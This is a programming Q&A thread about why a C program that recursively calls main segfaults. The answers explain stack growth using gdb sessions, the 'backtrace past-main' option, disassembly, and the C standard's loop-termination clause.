SegFault calling main - c

Question

I've simplified this tiny bit of code that I would expect to be an infinite loop down to:
#include <stddef.h>
int main(int argc, char* argv[]) {
for(int i = 0; i < argc; i++) {
main(argc, NULL);
}
}
(Whether or not you pass argv on doesn't really matter. The compiler tends to optimise it out, anyways.)
However, under both clang 9.0.1 and gcc 9.2.0, the above code segfaults with an address boundary error.
Looking at the asm (that I dumped here), I'm still not seeing anything that would cause this to go haywire.

Answer 1

If you're using gdb, it's pretty easy to miss the fact that a new stack frame is being used on each call. By default, gdb shows you only one stack frame for main, no matter how many recursions are performed:
$ cat recursive_main.c
#include <stddef.h>
int main(int argc, char* argv[]) {
for(int i = 0; i < argc; i++) {
main(argc, NULL);
}
}
$ clang-9 -o recursive_main -Wall -g recursive_main.c
$ ./recursive_main
Segmentation fault (core dumped)
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>bt
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
(gdb)
Continuing.
But if we print out the stack pointer at each entry, we can see that it's decremented each time:
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>info r esp
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffddc0 -8768
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd90 -8816
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd60 -8864
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd30 -8912
(gdb)
So the stack is extended by 0x30 (48) bytes by each recursive call.
The reason for this curious behaviour is that gdb deliberately ends the backtrace when it hits main. It does that because the real entry point of an executable is not main, but rather some platform-dependent code which sets everything up so that main can be called, and then calls main. As a consequence, gdb doesn't really know where the stack "begins". Or rather, it knows where the executable's stack begins, but it has no idea where the program's stack begins. It would be a bit confusing to include functions in the executable's setup code in every backtrace, so by default gdb just stops walking the stack when it hits a frame whose entry point is main. If you know about this option, you can control it:
(gdb) help set backtrace past-main
Set whether backtraces should continue past "main".
Normally the caller of "main" is not of interest, so GDB will terminate
the backtrace at "main". Set this variable if you need to see the rest
of the stack trace.
And with the option set, you can see the various stack frames corresponding to the recursive calls to main:
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) set backtrace past-main 1
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>bt
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
#1 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#2 0x00000000004003da in _start ()
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#2 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#3 0x00000000004003da in _start ()
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#2 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#3 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#4 0x00000000004003da in _start ()
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#2 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#3 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#4 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#5 0x00000000004003da in _start ()
(gdb)
But while it's probably good to know about this gdb option (and I didn't know about it until 15 minutes ago), it's not really necessary. You can see the code which creates the stack frame at offset 1120 in the disassembly that you linked, although it's easier to see in the -S output (or by using the handy service at http://gcc.godbolt):
0000000000001120 :
1120: 55 push %rbp
1121: 48 89 e5 mov %rsp,%rbp
1124: 48 83 ec 20 sub $0x20,%rsp
1128: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
112f: 89 7d f8 mov %edi,-0x8(%rbp)
1132: 48 89 75 f0 mov %rsi,-0x10(%rbp)
1136: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp)
113d: 8b 45 ec mov -0x14(%rbp),%eax
1140: 3b 45 f8 cmp -0x8(%rbp),%eax
1143: 0f 8d 1a 00 00 00 jge 1163
1149: 31 c0 xor %eax,%eax
114b: 89 c6 mov %eax,%esi
114d: 8b 7d f8 mov -0x8(%rbp),%edi
1150: e8 cb ff ff ff callq 1120
As you can see, on entry to main (which is at the offset shown, 1120), first %rbp is pushed onto the stack, resulting in %esp being decremented by 8 (for 64-bit mode). Then the stack pointer is decremented by an additional 0x20 (32), leaving space to save the registers that will be used (which include the registers used to pass arguments to the called function, and the register used to store the value of i). Finally (after a bit of work), the callq instruction at offset 1150 is executed, which pushes the address of the next instruction onto the stack, using up another 8 bytes.
So a 48-byte stack frame is pushed on each recursive call. And since the recursion never terminates, that must eventually hit the protected page which precedes the stack, at which point a segfault is signalled.
Note that this does not happen with clang at any positive optimisation level:
$ clang-9 -o recursive_main -Wall -g -O1 recursive_main.c
$ ./recursive_main
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) disass main
Dump of assembler code for function main:
0x00000000004004a0 <+0>: xor %eax,%eax
0x00000000004004a2 <+2>: retq
End of assembler dump.
Here, the compiler has taken advantage of the standard's requirement (in §6.8.5/6, see below) that a loop which has no observable effect can be assumed to terminate; in this case, the compiler assumes that it terminates immediately, which is legitimate because nothing will change before the loop eventually terminates.
GCC does not seem to perform that optimisation, by the way, so it will segfault regardless of optimisation level. At least, that's what happened in my test.
Standard C, §6.8.5 :
An iteration statement whose controlling expression is not a constant expression, that performs no input/output operations, does not access volatile objects, and performs no synchronization or atomic operations in its body, controlling expression, or (in the case of a for statement) its expression-3, may be assumed by the implementation to terminate.

Answer 2

The program causes undefined behaviour due to no forward progress. C11 6.8.5/6:
An iteration statement whose controlling expression is not a constant expression, that performs no input/output operations, does not access volatile objects, and performs no
synchronization or atomic operations in its body, controlling expression, or (in the case of a for statement) its expression-3, may be assumed by the implementation to
terminate.
So the compiler can assume the for loop terminates. Since execution of the loop would actually never terminate, the behaviour is undefined by omission and therefore anything can happen.